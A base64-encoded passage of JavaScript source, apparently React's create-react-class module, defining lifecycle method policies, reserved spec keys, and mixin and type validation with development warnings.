U5FX01BTllfTUVSR0VEJyxcblxuICAgIC8qKlxuICAgICAqIEByZXR1cm4ge29iamVjdH1cbiAgICAgKiBAb3B0aW9uYWxcbiAgICAgKi9cbiAgICBnZXRDaGlsZENvbnRleHQ6ICdERUZJTkVfTUFOWV9NRVJHRUQnLFxuXG4gICAgLyoqXG4gICAgICogVXNlcyBwcm9wcyBmcm9tIGB0aGlzLnByb3BzYCBhbmQgc3RhdGUgZnJvbSBgdGhpcy5zdGF0ZWAgdG8gcmVuZGVyIHRoZVxuICAgICAqIHN0cnVjdHVyZSBvZiB0aGUgY29tcG9uZW50LlxuICAgICAqXG4gICAgICogTm8gZ3VhcmFudGVlcyBhcmUgbWFkZSBhYm91dCB3aGVuIG9yIGhvdyBvZnRlbiB0aGlzIG1ldGhvZCBpcyBpbnZva2VkLCBzb1xuICAgICAqIGl0IG11c3Qgbm90IGhhdmUgc2lkZSBlZmZlY3RzLlxuICAgICAqXG4gICAgICogICByZW5kZXI6IGZ1bmN0aW9uKCkge1xuICAgICAqICAgICB2YXIgbmFtZSA9IHRoaXMucHJvcHMubmFtZTtcbiAgICAgKiAgICAgcmV0dXJuIDxkaXY+SGVsbG8sIHtuYW1lfSE8L2Rpdj47XG4gICAgICogICB9XG4gICAgICpcbiAgICAgKiBAcmV0dXJuIHtSZWFjdENvbXBvbmVudH1cbiAgICAgKiBAcmVxdWlyZWRcbiAgICAgKi9cbiAgICByZW5kZXI6ICdERUZJTkVfT05DRScsXG5cbiAgICAvLyA9PT09IERlbGVnYXRlIG1ldGhvZHMgPT09PVxuXG4gICAgLyoqXG4gICAgICogSW52b2tlZCB3aGVuIHRoZSBjb21wb25lbnQgaXMgaW5pdGlhbGx5IGNyZWF0ZWQgYW5kIGFib3V0IHRvIGJlIG1vdW50ZWQuXG4gICAgICogVGhpcyBtYXkgaGF2ZSBzaWRlIGVmZmVjdHMsIGJ1dCBhbnkgZXh0ZXJuYWwgc3Vic2NyaXB0aW9ucyBvciBkYXRhIGNyZWF0ZWRcbiAgICAgKiBieSB0aGlzIG1ldGhvZCBtdXN0IGJlIGNsZWFuZWQgdXAgaW4gYGNvbXBvbmVudFdpbGxVbm1vdW50YC5cbiAgICAgKlxuICAgICAqIEBvcHRpb25hbFxuICAgICAqL1xuICAgIGNvbXBvbmVudFdpbGxNb3VudDogJ0RFRklORV9NQU5ZJyxcblxuICAgIC8qKlxuICAgICAqIEludm9rZWQgd2hlbiB0aGUgY29tcG9uZW50IGhhcyBiZWVuIG1vdW50ZWQgYW5kIGhhcyBhIERPTSByZXByZXNlbnRhdGlvbi5cbiAgICAgKiBIb3dldmVyLCB0aGVyZSBpcyBubyBndWFyYW50ZWUgdGhhdCB0aGUgRE9NIG5vZGUgaXMgaW4gdGhlIGRvY3VtZW50LlxuICAgICAqXG4gICAgICogVXNlIHRoaXMgYXMgYW4gb3Bwb3J0dW5pdHkgdG8gb3BlcmF0ZSBvbiB0aGUgRE9NIHdoZW4gdGhlIGNvbXBvbmVudCBoYXNcbiAgICAgKiBiZWVuIG1vdW50ZWQgKGluaXRpYWxpemVkIGFuZCByZW5kZXJlZCkgZm9yIHRoZSBmaXJzdCB0aW1lLlxuICAgICAqXG4gICAgICogQHBhcmFtIHtET01FbGVtZW50fSByb290Tm9kZSBET00gZWxlbWVudCByZXByZXNlbnRpbmcgdGhlIGNvbXBvbmVudC5cbiAgICAgKiBAb3B0aW9uYWxcbiAgICAgKi9cbiAgICBjb21wb25lbnREaWRNb3VudDogJ0RFRklORV9NQU5ZJyxcblxuICAgIC8qKlxuICAgICAqIEludm9rZWQgYmVmb3JlIHRoZSBjb21wb25lbnQgcmVjZWl2ZXMgbmV3IHByb3BzLlxuICAgICAqXG4gICAgICogVXNlIHRoaXMgYXMgYW4gb3Bwb3J0dW5pdHkgdG8gcmVhY3QgdG8gYSBwcm9wIHRyYW5zaXRpb24gYnkgdXBkYXRpbmcgdGhlXG4gICAgICogc3RhdGUgdXNpbmcgYHRoaXMuc2V0U3RhdGVgLiBDdXJyZW50IHByb3BzIGFyZSBhY2Nlc3NlZCB2aWEgYHRoaXMucHJvcHNgLlxuICAgICAqXG4gICAgICogICBjb21wb25lbnRXaWxsUmVjZWl2ZVByb3BzOiBmdW5jdGlvbihuZXh0UHJvcHMsIG5leHRDb250ZXh0KSB7XG4gICAgICogICAgIHRoaXMuc2V0U3RhdGUoe1xuICAgICAqICAgICAgIGxpa2VzSW5jcmVhc2luZzogbmV4dFByb3BzLmxpa2VDb3VudCA+IHRoaXMucHJvcHMubGlrZUNvdW50XG4gICAgICogICAgIH0pO1xuICAgICAqICAgfVxuICAgICAqXG4gICAgICogTk9URTogVGhlcmUgaXMgbm8gZXF1aXZhbGVudCBgY29tcG9uZW50V2lsbFJlY2VpdmVTdGF0ZWAuIEFuIGluY29taW5nIHByb3BcbiAgICAgKiB0cmFuc2l0aW9uIG1heSBjYXVzZSBhIHN0YXRlIGNoYW5nZSwgYnV0IHRoZSBvcHBvc2l0ZSBpcyBub3QgdHJ1ZS4gSWYgeW91XG4gICAgICogbmVlZCBpdCwgeW91IGFyZSBwcm9iYWJseSBsb29raW5nIGZvciBgY29tcG9uZW50V2lsbFVwZGF0ZWAuXG4gICAgICpcbiAgICAgKiBAcGFyYW0ge29iamVjdH0gbmV4dFByb3BzXG4gICAgICogQG9wdGlvbmFsXG4gICAgICovXG4gICAgY29tcG9uZW50V2lsbFJlY2VpdmVQcm9wczogJ0RFRklORV9NQU5ZJyxcblxuICAgIC8qKlxuICAgICAqIEludm9rZWQgd2hpbGUgZGVjaWRpbmcgaWYgdGhlIGNvbXBvbmVudCBzaG91bGQgYmUgdXBkYXRlZCBhcyBhIHJlc3VsdCBvZlxuICAgICAqIHJlY2VpdmluZyBuZXcgcHJvcHMsIHN0YXRlIGFuZC9vciBjb250ZXh0LlxuICAgICAqXG4gICAgICogVXNlIHRoaXMgYXMgYW4gb3Bwb3J0dW5pdHkgdG8gYHJldHVybiBmYWxzZWAgd2hlbiB5b3UncmUgY2VydGFpbiB0aGF0IHRoZVxuICAgICAqIHRyYW5zaXRpb24gdG8gdGhlIG5ldyBwcm9wcy9zdGF0ZS9jb250ZXh0IHdpbGwgbm90IHJlcXVpcmUgYSBjb21wb25lbnRcbiAgICAgKiB1cGRhdGUuXG4gICAgICpcbiAgICAgKiAgIHNob3VsZENvbXBvbmVudFVwZGF0ZTogZnVuY3Rpb24obmV4dFByb3BzLCBuZXh0U3RhdGUsIG5leHRDb250ZXh0KSB7XG4gICAgICogICAgIHJldHVybiAhZXF1YWwobmV4dFByb3BzLCB0aGlzLnByb3BzKSB8fFxuICAgICAqICAgICAgICFlcXVhbChuZXh0U3RhdGUsIHRoaXMuc3RhdGUpIHx8XG4gICAgICogICAgICAgIWVxdWFsKG5leHRDb250ZXh0LCB0aGlzLmNvbnRleHQpO1xuICAgICAqICAgfVxuICAgICAqXG4gICAgICogQHBhcmFtIHtvYmplY3R9IG5leHRQcm9wc1xuICAgICAqIEBwYXJhbSB7P29iamVjdH0gbmV4dFN0YXRlXG4gICAgICogQHBhcmFtIHs/b2JqZWN0fSBuZXh0Q29udGV4dFxuICAgICAqIEByZXR1cm4ge2Jvb2xlYW59IFRydWUgaWYgdGhlIGNvbXBvbmVudCBzaG91bGQgdXBkYXRlLlxuICAgICAqIEBvcHRpb25hbFxuICAgICAqL1xuICAgIHNob3VsZENvbXBvbmVudFVwZGF0ZTogJ0RFRklORV9PTkNFJyxcblxuICAgIC8qKlxuICAgICAqIEludm9rZWQgd2hlbiB0aGUgY29tcG9uZW50IGlzIGFib3V0IHRvIHVwZGF0ZSBkdWUgdG8gYSB0cmFuc2l0aW9uIGZyb21cbiAgICAgKiBgdGhpcy5wcm9wc2AsIGB0aGlzLnN0YXRlYCBhbmQgYHRoaXMuY29udGV4dGAgdG8gYG5leHRQcm9wc2AsIGBuZXh0U3RhdGVgXG4gICAgICogYW5kIGBuZXh0Q29udGV4dGAuXG4gICAgICpcbiAgICAgKiBVc2UgdGhpcyBhcyBhbiBvcHBvcnR1bml0eSB0byBwZXJmb3JtIHByZXBhcmF0aW9uIGJlZm9yZSBhbiB1cGRhdGUgb2NjdXJzLlxuICAgICAqXG4gICAgICogTk9URTogWW91ICoqY2Fubm90KiogdXNlIGB0aGlzLnNldFN0YXRlKClgIGluIHRoaXMgbWV0aG9kLlxuICAgICAqXG4gICAgICogQHBhcmFtIHtvYmplY3R9IG5leHRQcm9wc1xuICAgICAqIEBwYXJhbSB7P29iamVjdH0gbmV4dFN0YXRlXG4gICAgICogQHBhcmFtIHs/b2JqZWN0fSBuZXh0Q29udGV4dFxuICAgICAqIEBwYXJhbSB7UmVhY3RSZWNvbmNpbGVUcmFuc2FjdGlvbn0gdHJhbnNhY3Rpb25cbiAgICAgKiBAb3B0aW9uYWxcbiAgICAgKi9cbiAgICBjb21wb25lbnRXaWxsVXBkYXRlOiAnREVGSU5FX01BTlknLFxuXG4gICAgLyoqXG4gICAgICogSW52b2tlZCB3aGVuIHRoZSBjb21wb25lbnQncyBET00gcmVwcmVzZW50YXRpb24gaGFzIGJlZW4gdXBkYXRlZC5cbiAgICAgKlxuICAgICAqIFVzZSB0aGlzIGFzIGFuIG9wcG9ydHVuaXR5IHRvIG9wZXJhdGUgb24gdGhlIERPTSB3aGVuIHRoZSBjb21wb25lbnQgaGFzXG4gICAgICogYmVlbiB1cGRhdGVkLlxuICAgICAqXG4gICAgICogQHBhcmFtIHtvYmplY3R9IHByZXZQcm9wc1xuICAgICAqIEBwYXJhbSB7P29iamVjdH0gcHJldlN0YXRlXG4gICAgICogQHBhcmFtIHs/b2JqZWN0fSBwcmV2Q29udGV4dFxuICAgICAqIEBwYXJhbSB7RE9NRWxlbWVudH0gcm9vdE5vZGUgRE9NIGVsZW1lbnQgcmVwcmVzZW50aW5nIHRoZSBjb21wb25lbnQuXG4gICAgICogQG9wdGlvbmFsXG4gICAgICovXG4gICAgY29tcG9uZW50RGlkVXBkYXRlOiAnREVGSU5FX01BTlknLFxuXG4gICAgLyoqXG4gICAgICogSW52b2tlZCB3aGVuIHRoZSBjb21wb25lbnQgaXMgYWJvdXQgdG8gYmUgcmVtb3ZlZCBmcm9tIGl0cyBwYXJlbnQgYW5kIGhhdmVcbiAgICAgKiBpdHMgRE9NIHJlcHJlc2VudGF0aW9uIGRlc3Ryb3llZC5cbiAgICAgKlxuICAgICAqIFVzZSB0aGlzIGFzIGFuIG9wcG9ydHVuaXR5IHRvIGRlYWxsb2NhdGUgYW55IGV4dGVybmFsIHJlc291cmNlcy5cbiAgICAgKlxuICAgICAqIE5PVEU6IFRoZXJlIGlzIG5vIGBjb21wb25lbnREaWRVbm1vdW50YCBzaW5jZSB5b3VyIGNvbXBvbmVudCB3aWxsIGhhdmUgYmVlblxuICAgICAqIGRlc3Ryb3llZCBieSB0aGF0IHBvaW50LlxuICAgICAqXG4gICAgICogQG9wdGlvbmFsXG4gICAgICovXG4gICAgY29tcG9uZW50V2lsbFVubW91bnQ6ICdERUZJTkVfTUFOWScsXG5cbiAgICAvKipcbiAgICAgKiBSZXBsYWNlbWVudCBmb3IgKGRlcHJlY2F0ZWQpIGBjb21wb25lbnRXaWxsTW91bnRgLlxuICAgICAqXG4gICAgICogQG9wdGlvbmFsXG4gICAgICovXG4gICAgVU5TQUZFX2NvbXBvbmVudFdpbGxNb3VudDogJ0RFRklORV9NQU5ZJyxcblxuICAgIC8qKlxuICAgICAqIFJlcGxhY2VtZW50IGZvciAoZGVwcmVjYXRlZCkgYGNvbXBvbmVudFdpbGxSZWNlaXZlUHJvcHNgLlxuICAgICAqXG4gICAgICogQG9wdGlvbmFsXG4gICAgICovXG4gICAgVU5TQUZFX2NvbXBvbmVudFdpbGxSZWNlaXZlUHJvcHM6ICdERUZJTkVfTUFOWScsXG5cbiAgICAvKipcbiAgICAgKiBSZXBsYWNlbWVudCBmb3IgKGRlcHJlY2F0ZWQpIGBjb21wb25lbnRXaWxsVXBkYXRlYC5cbiAgICAgKlxuICAgICAqIEBvcHRpb25hbFxuICAgICAqL1xuICAgIFVOU0FGRV9jb21wb25lbnRXaWxsVXBkYXRlOiAnREVGSU5FX01BTlknLFxuXG4gICAgLy8gPT09PSBBZHZhbmNlZCBtZXRob2RzID09PT1cblxuICAgIC8qKlxuICAgICAqIFVwZGF0ZXMgdGhlIGNvbXBvbmVudCdzIGN1cnJlbnRseSBtb3VudGVkIERPTSByZXByZXNlbnRhdGlvbi5cbiAgICAgKlxuICAgICAqIEJ5IGRlZmF1bHQsIHRoaXMgaW1wbGVtZW50cyBSZWFjdCdzIHJlbmRlcmluZyBhbmQgcmVjb25jaWxpYXRpb24gYWxnb3JpdGhtLlxuICAgICAqIFNvcGhpc3RpY2F0ZWQgY2xpZW50cyBtYXkgd2lzaCB0byBvdmVycmlkZSB0aGlzLlxuICAgICAqXG4gICAgICogQHBhcmFtIHtSZWFjdFJlY29uY2lsZVRyYW5zYWN0aW9ufSB0cmFuc2FjdGlvblxuICAgICAqIEBpbnRlcm5hbFxuICAgICAqIEBvdmVycmlkYWJsZVxuICAgICAqL1xuICAgIHVwZGF0ZUNvbXBvbmVudDogJ09WRVJSSURFX0JBU0UnXG4gIH07XG5cbiAgLyoqXG4gICAqIFNpbWlsYXIgdG8gUmVhY3RDbGFzc0ludGVyZmFjZSBidXQgZm9yIHN0YXRpYyBtZXRob2RzLlxuICAgKi9cbiAgdmFyIFJlYWN0Q2xhc3NTdGF0aWNJbnRlcmZhY2UgPSB7XG4gICAgLyoqXG4gICAgICogVGhpcyBtZXRob2QgaXMgaW52b2tlZCBhZnRlciBhIGNvbXBvbmVudCBpcyBpbnN0YW50aWF0ZWQgYW5kIHdoZW4gaXRcbiAgICAgKiByZWNlaXZlcyBuZXcgcHJvcHMuIFJldHVybiBhbiBvYmplY3QgdG8gdXBkYXRlIHN0YXRlIGluIHJlc3BvbnNlIHRvXG4gICAgICogcHJvcCBjaGFuZ2VzLiBSZXR1cm4gbnVsbCB0byBpbmRpY2F0ZSBubyBjaGFuZ2UgdG8gc3RhdGUuXG4gICAgICpcbiAgICAgKiBJZiBhbiBvYmplY3QgaXMgcmV0dXJuZWQsIGl0cyBrZXlzIHdpbGwgYmUgbWVyZ2VkIGludG8gdGhlIGV4aXN0aW5nIHN0YXRlLlxuICAgICAqXG4gICAgICogQHJldHVybiB7b2JqZWN0IHx8IG51bGx9XG4gICAgICogQG9wdGlvbmFsXG4gICAgICovXG4gICAgZ2V0RGVyaXZlZFN0YXRlRnJvbVByb3BzOiAnREVGSU5FX01BTllfTUVSR0VEJ1xuICB9O1xuXG4gIC8qKlxuICAgKiBNYXBwaW5nIGZyb20gY2xhc3Mgc3BlY2lmaWNhdGlvbiBrZXlzIHRvIHNwZWNpYWwgcHJvY2Vzc2luZyBmdW5jdGlvbnMuXG4gICAqXG4gICAqIEFsdGhvdWdoIHRoZXNlIGFyZSBkZWNsYXJlZCBsaWtlIGluc3RhbmNlIHByb3BlcnRpZXMgaW4gdGhlIHNwZWNpZmljYXRpb25cbiAgICogd2hlbiBkZWZpbmluZyBjbGFzc2VzIHVzaW5nIGBSZWFjdC5jcmVhdGVDbGFzc2AsIHRoZXkgYXJlIGFjdHVhbGx5IHN0YXRpY1xuICAgKiBhbmQgYXJlIGFjY2Vzc2libGUgb24gdGhlIGNvbnN0cnVjdG9yIGluc3RlYWQgb2YgdGhlIHByb3RvdHlwZS4gRGVzcGl0ZVxuICAgKiBiZWluZyBzdGF0aWMsIHRoZXkgbXVzdCBiZSBkZWZpbmVkIG91dHNpZGUgb2YgdGhlIFwic3RhdGljc1wiIGtleSB1bmRlclxuICAgKiB3aGljaCBhbGwgb3RoZXIgc3RhdGljIG1ldGhvZHMgYXJlIGRlZmluZWQuXG4gICAqL1xuICB2YXIgUkVTRVJWRURfU1BFQ19LRVlTID0ge1xuICAgIGRpc3BsYXlOYW1lOiBmdW5jdGlvbihDb25zdHJ1Y3RvciwgZGlzcGxheU5hbWUpIHtcbiAgICAgIENvbnN0cnVjdG9yLmRpc3BsYXlOYW1lID0gZGlzcGxheU5hbWU7XG4gICAgfSxcbiAgICBtaXhpbnM6IGZ1bmN0aW9uKENvbnN0cnVjdG9yLCBtaXhpbnMpIHtcbiAgICAgIGlmIChtaXhpbnMpIHtcbiAgICAgICAgZm9yICh2YXIgaSA9IDA7IGkgPCBtaXhpbnMubGVuZ3RoOyBpKyspIHtcbiAgICAgICAgICBtaXhTcGVjSW50b0NvbXBvbmVudChDb25zdHJ1Y3RvciwgbWl4aW5zW2ldKTtcbiAgICAgICAgfVxuICAgICAgfVxuICAgIH0sXG4gICAgY2hpbGRDb250ZXh0VHlwZXM6IGZ1bmN0aW9uKENvbnN0cnVjdG9yLCBjaGlsZENvbnRleHRUeXBlcykge1xuICAgICAgaWYgKHByb2Nlc3MuZW52Lk5PREVfRU5WICE9PSAncHJvZHVjdGlvbicpIHtcbiAgICAgICAgdmFsaWRhdGVUeXBlRGVmKENvbnN0cnVjdG9yLCBjaGlsZENvbnRleHRUeXBlcywgJ2NoaWxkQ29udGV4dCcpO1xuICAgICAgfVxuICAgICAgQ29uc3RydWN0b3IuY2hpbGRDb250ZXh0VHlwZXMgPSBfYXNzaWduKFxuICAgICAgICB7fSxcbiAgICAgICAgQ29uc3RydWN0b3IuY2hpbGRDb250ZXh0VHlwZXMsXG4gICAgICAgIGNoaWxkQ29udGV4dFR5cGVzXG4gICAgICApO1xuICAgIH0sXG4gICAgY29udGV4dFR5cGVzOiBmdW5jdGlvbihDb25zdHJ1Y3RvciwgY29udGV4dFR5cGVzKSB7XG4gICAgICBpZiAocHJvY2Vzcy5lbnYuTk9ERV9FTlYgIT09ICdwcm9kdWN0aW9uJykge1xuICAgICAgICB2YWxpZGF0ZVR5cGVEZWYoQ29uc3RydWN0b3IsIGNvbnRleHRUeXBlcywgJ2NvbnRleHQnKTtcbiAgICAgIH1cbiAgICAgIENvbnN0cnVjdG9yLmNvbnRleHRUeXBlcyA9IF9hc3NpZ24oXG4gICAgICAgIHt9LFxuICAgICAgICBDb25zdHJ1Y3Rvci5jb250ZXh0VHlwZXMsXG4gICAgICAgIGNvbnRleHRUeXBlc1xuICAgICAgKTtcbiAgICB9LFxuICAgIC8qKlxuICAgICAqIFNwZWNpYWwgY2FzZSBnZXREZWZhdWx0UHJvcHMgd2hpY2ggc2hvdWxkIG1vdmUgaW50byBzdGF0aWNzIGJ1dCByZXF1aXJlc1xuICAgICAqIGF1dG9tYXRpYyBtZXJnaW5nLlxuICAgICAqL1xuICAgIGdldERlZmF1bHRQcm9wczogZnVuY3Rpb24oQ29uc3RydWN0b3IsIGdldERlZmF1bHRQcm9wcykge1xuICAgICAgaWYgKENvbnN0cnVjdG9yLmdldERlZmF1bHRQcm9wcykge1xuICAgICAgICBDb25zdHJ1Y3Rvci5nZXREZWZhdWx0UHJvcHMgPSBjcmVhdGVNZXJnZWRSZXN1bHRGdW5jdGlvbihcbiAgICAgICAgICBDb25zdHJ1Y3Rvci5nZXREZWZhdWx0UHJvcHMsXG4gICAgICAgICAgZ2V0RGVmYXVsdFByb3BzXG4gICAgICAgICk7XG4gICAgICB9IGVsc2Uge1xuICAgICAgICBDb25zdHJ1Y3Rvci5nZXREZWZhdWx0UHJvcHMgPSBnZXREZWZhdWx0UHJvcHM7XG4gICAgICB9XG4gICAgfSxcbiAgICBwcm9wVHlwZXM6IGZ1bmN0aW9uKENvbnN0cnVjdG9yLCBwcm9wVHlwZXMpIHtcbiAgICAgIGlmIChwcm9jZXNzLmVudi5OT0RFX0VOViAhPT0gJ3Byb2R1Y3Rpb24nKSB7XG4gICAgICAgIHZhbGlkYXRlVHlwZURlZihDb25zdHJ1Y3RvciwgcHJvcFR5cGVzLCAncHJvcCcpO1xuICAgICAgfVxuICAgICAgQ29uc3RydWN0b3IucHJvcFR5cGVzID0gX2Fzc2lnbih7fSwgQ29uc3RydWN0b3IucHJvcFR5cGVzLCBwcm9wVHlwZXMpO1xuICAgIH0sXG4gICAgc3RhdGljczogZnVuY3Rpb24oQ29uc3RydWN0b3IsIHN0YXRpY3MpIHtcbiAgICAgIG1peFN0YXRpY1NwZWNJbnRvQ29tcG9uZW50KENvbnN0cnVjdG9yLCBzdGF0aWNzKTtcbiAgICB9LFxuICAgIGF1dG9iaW5kOiBmdW5jdGlvbigpIHt9XG4gIH07XG5cbiAgZnVuY3Rpb24gdmFsaWRhdGVUeXBlRGVmKENvbnN0cnVjdG9yLCB0eXBlRGVmLCBsb2NhdGlvbikge1xuICAgIGZvciAodmFyIHByb3BOYW1lIGluIHR5cGVEZWYpIHtcbiAgICAgIGlmICh0eXBlRGVmLmhhc093blByb3BlcnR5KHByb3BOYW1lKSkge1xuICAgICAgICAvLyB1c2UgYSB3YXJuaW5nIGluc3RlYWQgb2YgYW4gX2ludmFyaWFudCBzbyBjb21wb25lbnRzXG4gICAgICAgIC8vIGRvbid0IHNob3cgdXAgaW4gcHJvZCBidXQgb25seSBpbiBfX0RFVl9fXG4gICAgICAgIGlmIChwcm9jZXNzLmVudi5OT0RFX0VOViAhPT0gJ3Byb2R1Y3Rpb24nKSB7XG4gICAgICAgICAgd2FybmluZyhcbiAgICAgICAgICAgIHR5cGVvZiB0eXBlRGVmW3Byb3BOYW1lXSA9PT0gJ2Z1bmN0aW9uJyxcbiAgICAgICAgICAgICclczogJXMgdHlwZSBgJXNgIGlzIGludmFsaWQ7IGl0IG11c3QgYmUgYSBmdW5jdGlvbiwgdXN1YWxseSBmcm9tICcgK1xuICAgICAgICAgICAgICAnUmVhY3QuUHJvcFR5cGVzLicsXG4gICAgICAgICAgICBDb25zdHJ1Y3Rvci5kaXNwbGF5TmFtZSB8fCAnUmVhY3RDbGFzcycsXG4gICAgICAgICAgICBSZWFjdFByb3BUeXBlTG9jYXRpb25OYW1lc1tsb2NhdGlvbl0sXG4gICAgICAgICAgICBwcm9wTmFtZVxuICAgICAgICAgICk7XG4gICAgICAgIH1cbiAgICAgIH1cbiAgICB9XG4gIH1cblxuICBmdW5jdGlvbiB2YWxpZGF0ZU1ldGhvZE92ZXJyaWRlKGlzQWxyZWFkeURlZmluZWQsIG5hbWUpIHtcbiAgICB2YXIgc3BlY1BvbGljeSA9IFJlYWN0Q2xhc3NJbnRlcmZhY2UuaGFzT3duUHJvcGVydHkobmFtZSlcbiAgICAgID8gUmVhY3RDbGFzc0ludGVyZmFjZVtuYW1lXVxuICAgICAgOiBudWxsO1xuXG4gICAgLy8gRGlzYWxsb3cgb3ZlcnJpZGluZyBvZiBiYXNlIGNsYXNzIG1ldGhvZHMgdW5sZXNzIGV4cGxpY2l0bHkgYWxsb3dlZC5cbiAgICBpZiAoUmVhY3RDbGFzc01peGluLmhhc093blByb3BlcnR5KG5hbWUpKSB7XG4gICAgICBfaW52YXJpYW50KFxuICAgICAgICBzcGVjUG9saWN5ID09PSAnT1ZFUlJJREVfQkFTRScsXG4gICAgICAgICdSZWFjdENsYXNzSW50ZXJmYWNlOiBZb3UgYXJlIGF0dGVtcHRpbmcgdG8gb3ZlcnJpZGUgJyArXG4gICAgICAgICAgJ2Alc2AgZnJvbSB5b3VyIGNsYXNzIHNwZWNpZmljYXRpb24uIEVuc3VyZSB0aGF0IHlvdXIgbWV0aG9kIG5hbWVzICcgK1xuICAgICAgICAgICdkbyBub3Qgb3ZlcmxhcCB3aXRoIFJlYWN0IG1ldGhvZHMuJyxcbiAgICAgICAgbmFtZVxuICAgICAgKTtcbiAgICB9XG5cbiAgICAvLyBEaXNhbGxvdyBkZWZpbmluZyBtZXRob2RzIG1vcmUgdGhhbiBvbmNlIHVubGVzcyBleHBsaWNpdGx5IGFsbG93ZWQuXG4gICAgaWYgKGlzQWxyZWFkeURlZmluZWQpIHtcbiAgICAgIF9pbnZhcmlhbnQoXG4gICAgICAgIHNwZWNQb2xpY3kgPT09ICdERUZJTkVfTUFOWScgfHwgc3BlY1BvbGljeSA9PT0gJ0RFRklORV9NQU5ZX01FUkdFRCcsXG4gICAgICAgICdSZWFjdENsYXNzSW50ZXJmYWNlOiBZb3UgYXJlIGF0dGVtcHRpbmcgdG8gZGVmaW5lICcgK1xuICAgICAgICAgICdgJXNgIG9uIHlvdXIgY29tcG9uZW50IG1vcmUgdGhhbiBvbmNlLiBUaGlzIGNvbmZsaWN0IG1heSBiZSBkdWUgJyArXG4gICAgICAgICAgJ3RvIGEgbWl4aW4uJyxcbiAgICAgICAgbmFtZVxuICAgICAgKTtcbiAgICB9XG4gIH1cblxuICAvKipcbiAgICogTWl4aW4gaGVscGVyIHdoaWNoIGhhbmRsZXMgcG9saWN5IHZhbGlkYXRpb24gYW5kIHJlc2VydmVkXG4gICAqIHNwZWNpZmljYXRpb24ga2V5cyB3aGVuIGJ1aWxkaW5nIFJlYWN0IGNsYXNzZXMuXG4gICAqL1xuICBmdW5jdGlvbiBtaXhTcGVjSW50b0NvbXBvbmVudChDb25zdHJ1Y3Rvciwgc3BlYykge1xuICAgIGlmICghc3BlYykge1xuICAgICAgaWYgKHByb2Nlc3MuZW52Lk5PREVfRU5WICE9PSAncHJvZHVjdGlvbicpIHtcbiAgICAgICAgdmFyIHR5cGVvZlNwZWMgPSB0eXBlb2Ygc3BlYztcbiAgICAgICAgdmFyIGlzTWl4aW5WYWxpZCA9IHR5cGVvZlNwZWMgPT09ICdvYmplY3QnICYmIHNwZWMgIT09IG51bGw7XG5cbiAgICAgICAgaWYgKHByb2Nlc3MuZW52Lk5PREVfRU5WICE9PSAncHJvZHVjdGlvbicpIHtcbiAgICAgICAgICB3YXJuaW5nKFxuICAgICAgICAgICAgaXNNaXhpblZhbGlkLFxuICAgICAgICAgICAgXCIlczogWW91J3JlIGF0dGVtcHRpbmcgdG8gaW5jbHVkZSBhIG1peGluIHRoYXQgaXMgZWl0aGVyIG51bGwgXCIgK1xuICAgICAgICAgICAgICAnb3Igbm90IGFuIG9iamVjdC4gQ2hlY2sgdGhlIG1peGlucyBpbmNsdWRlZCBieSB0aGUgY29tcG9uZW50LCAnICtcbiAgICAgICAgICAgICAgJ2FzIHdlbGwgYXMgYW55IG1peGlucyB0aGV5IGluY2x1ZGUgdGhlbXNlbHZlcy4gJyArXG4gICAgICAgICAgICAgICdFeHBlY3RlZCBvYmplY3QgYnV0IGdvdCAlcy4nLFxuICAgICAgICAgICAgQ29uc3RydWN0b3IuZGlzcGxheU5hbWUgfHwgJ1JlYWN0Q2xhc3MnLFxuICAgICAgICAgICAgc3BlYyA9PT0gbnVsbCA/IG51bGwgOiB0eXBlb2ZTcGVjXG4gICAgICAgICAgKTtcbiAgICAgICAgfVxuICAgICAgfVxuXG4gICAgICByZXR1cm47XG4gICAgfVxuXG4gICAgX2ludmFyaWFudChcbiAgICAgIHR5cGVvZiBzcGVjICE9PSAnZnVuY3Rpb24nLFxuICAgICAgXCJSZWFjdENsYXNzOiBZb3UncmUgYXR0ZW1wdGluZyB0byBcIiArXG4gICAgICAgICd1c2UgYSBjb21wb25lbnQgY2xhc3Mgb3IgZnVuY3Rpb24gYXMgYSBtaXhpbi4gSW5zdGVhZCwganVzdCB1c2UgYSAnICtcbiAgICAgICAgJ3JlZ3VsYXIgb2JqZWN0LidcbiAgICApO1xuICAgIF9pbnZhcmlhbnQoXG4gICAgICAhaXNWYWxpZEVsZW1lbnQoc3BlYyksXG4gICAgICBcIlJlYWN0Q2xhc3M6IFlvdSdyZSBhdHRlbXB0aW5nIHRvIFwiICtcbiAgICAgICAgJ3VzZSBhIGNvbXBvbmVudCBhcyBhIG1peGluLiBJbnN0ZWFkLCBqdXN0IHVzZSBhIHJlZ3VsYXIgb2JqZWN0LidcbiAgICApO1xuXG4gICAgdmFyIHByb3RvID0gQ29uc3RydWN0b3IucHJvdG90eXBlO1xuICAgIHZhciBhdXRvQmluZFBhaXJzID0gcHJvdG8uX19yZWFjdEF1dG9CaW5kUGFpcnM7XG5cbiAgICAvLyBCeSBoYW5kbGluZyBtaXhpbnMgYmVmb3JlIGFueSBvdGhlciBwcm9wZXJ0aWVzLCB3ZSBlbnN1cmUgdGhlIHNhbWVcbiAgICAvLyBjaGFpbmluZyBvcmRlciBpcyBhcHBsaWVkIHRvIG1ldGhvZHMgd2l0aCBERUZJTkVfTUFOWSBwb2xpY3ksIHdoZXRoZXJcbiAgICAvLyBtaXhpbnMgYXJlIGxpc3RlZCBiZWZvcmUgb3IgYWZ0ZXIgdGhlc2UgbWV0aG9kcyBpbiB0aGUgc3BlYy5cbiAgICBpZiAoc3BlYy5oYXNPd25Qcm9wZXJ0eShNSVhJTlNfS0VZKSkge1xuICAgICAgUkVTRVJWRURfU1BFQ19LRVlTLm1peGlucyhDb25zdHJ1Y3Rvciwgc3BlYy5taXhpbnMpO1xuICAgIH1cblxuICAgIGZvciAodmFyIG5hbWUgaW4gc3BlYykge1xuICAgICAgaWYgKCFzcGVjLmhhc093blByb3BlcnR5KG5hbWUpKSB7XG4gICAgICAgIGNvbnRpbnVlO1xuICAgICAgfVxuXG4gICAgICBpZiAobmFtZSA9PT0gTUlYSU5TX0tFWSkge1xuICAgICAgICAvLyBXZSBoYXZlIGFscmVhZHkgaGFuZGxlZCBtaXhpbnMgaW4gYSBzcGVjaWFsIGNhc2UgYWJvdmUuXG4gICAgICAgIGNvbnRpbnVlO1xuICAgICAgfVxuXG4gICAgICB2YXIgcHJvcGVydHkgPSBzcGVjW25hbWVdO1xuICAgICAgdmFyIGlzQWxyZWFkeURlZmluZWQgPSBwcm90by5oYXNPd25Qcm9wZXJ0eShuYW1lKTtcbiAgICAgIHZhbGlkYXRlTWV0aG9kT3ZlcnJpZGUoaXNBbHJlYWR5RGVmaW5lZCwgbmFtZSk7XG5cbiAgICAg